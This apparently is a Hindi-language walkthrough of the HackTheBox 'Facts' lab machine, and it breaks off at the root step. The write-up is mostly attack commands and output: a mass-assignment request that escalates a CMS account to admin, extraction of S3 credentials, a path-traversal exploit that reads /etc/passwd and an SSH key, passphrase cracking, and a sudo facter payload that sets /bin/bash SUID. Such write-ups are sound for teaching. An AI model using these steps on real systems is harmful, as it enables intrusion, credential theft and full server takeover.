
HTB Facts एक आसान Linux बॉक्स है जिसमें Camaleon CMS और MinIO शामिल हैं। खुले पंजीकरण और बड़े पैमाने पर असाइनमेंट भेद्यता के माध्यम से व्यवस्थापक पहुंच प्राप्त करें, फिर व्यवस्थापक सेटिंग्स से MinIO क्रेडेंशियल निकालें। SSH निजी कुंजी चुराने के लिए CVE-2024-46987 पथ ट्रैवर्सल का उपयोग करें, उसका पासफ़्रेज़ क्रैक करें, और GTFOBins के माध्यम से facter पर sudo अनुमतियों का दुरुपयोग करके रूट तक बढ़ाएँ।
OS: Linux
Tags: Web, MinIO, Camaleon CMS, Path Traversal, Privilege Escalation
खुले services की पहचान करने के लिए पूर्ण TCP port scan से शुरुआत करें।
nmap -p- --min-rate 5000 -T4 10.129.244.96
परिणाम:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Unknown | Identified as MinIO |
target को /etc/hosts में जोड़ें:
echo "10.129.244.96 facts.htb" >> /etc/hosts
http://facts.htb पर ब्राउज़ करने पर Camaleon CMS (Ruby on Rails) पर बनी एक trivia वेबसाइट दिखाई देती है। मुख्य संकेतक:
_factsapp_session (Rails session)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)सभी उपलब्ध pages के लिए sitemap enumerate करें:
curl -s http://facts.htb/sitemap.xml
मिले उल्लेखनीय paths:
/admin → /admin/login पर redirect करता है/rss/animal-ejected, /anne-frank, आदि।admin login panel की जाँच करें:
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
अज्ञात port को curl से probe करने पर MinIO का पता चलता है, जो एक S3-compatible object storage service है:
curl -v http://facts.htb:54321
Response:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Headers पुष्टि करते हैं: Server: MinIO
संभावित bucket नामों की जाँच करें (केवल 403 response से यह पुष्टि नहीं होती कि bucket मौजूद है):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
सभी 403 Forbidden return करते हैं — buckets मौजूद हैं लेकिन credentials की आवश्यकता है।
asset paths और session cookie से, CMS की पहचान Camaleon CMS के रूप में होती है।
ज्ञात vulnerabilities की जाँच करें:
searchsploit camaleon
परिणाम:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
admin panel का version 2.9.0 के रूप में पुष्टि होती है (login करने के बाद footer में दिखाई देता है)।
http://facts.htb/admin/login पर admin login page में एक "Create an account" link शामिल है। एक नया account register करें:
http://facts.htb/admin/users/sign_up पर जाएँtest123 / test123)Client role account बनाता हैRegistration के बाद, admin dashboard में login करें। इस account के पास सीमित Client privileges हैं।
Camaleon CMS password change endpoint पर mass assignment attack के प्रति vulnerable है। password change request को intercept करके और एक password[role] parameter inject करके, एक attacker अपनी role को admin तक escalate कर सकता है।
Burp Suite का उपयोग करके चरण:
Client account से admin panel में login करें।Profile → Edit → Change Password पर जाएँ।&password[role]=admin जोड़ें:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK होना चाहिए।अब इस account के पास admin privileges हैं, जो Settings, Media, और Filesystem Settings सहित CMS admin panel तक पूर्ण पहुँच प्रदान करते हैं।
admin access के साथ, यहाँ जाएँ:
Settings → General Site → Filesystem Settings
यह page hardcoded MinIO (AWS S3-compatible) credentials प्रकट करता है:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
AWS CLI configure करें और buckets enumerate करें:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
मिले buckets:
2025-09-11 internal
2025-09-11 randomfacts
internal bucket में trivia user की home directory है:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
वैकल्पिक रूप से, SSH private key को CVE-2024-46987 के माध्यम से प्राप्त किया जा सकता है, जो Camaleon CMS में एक authenticated path traversal vulnerability है जो मनमानी server files पढ़ने की अनुमति देती है।
public PoC clone करें:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
संवेदनशील files पढ़ें:
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Output (प्रासंगिक पंक्तियाँ):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
दो users की पहचान होती है: trivia और william। चूँकि trivia के पास login shell और home directory है, SSH private key की जाँच करें:
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
key output को एक file में सहेजें:
chmod 600 id_ed25519
SSH private key एक passphrase से encrypted है। इसे crack करने के लिए ssh2john और john का उपयोग करें:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Cracked passphrase: dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
user flag प्राप्त करें:
cat /home/william/user.txt
trivia user के लिए sudo privileges की जाँच करें:
sudo -l
Output:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
user बिना password के /usr/bin/facter को root के रूप में चला सकता है। facter एक Ruby-based system information tool है।
GTFOBins के अनुसार, facter --custom-dir के माध्यम से custom Ruby fact files load कर सकता है, जो invoking user (इस मामले में root) के रूप में execute होती हैं।
Exploit:
# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x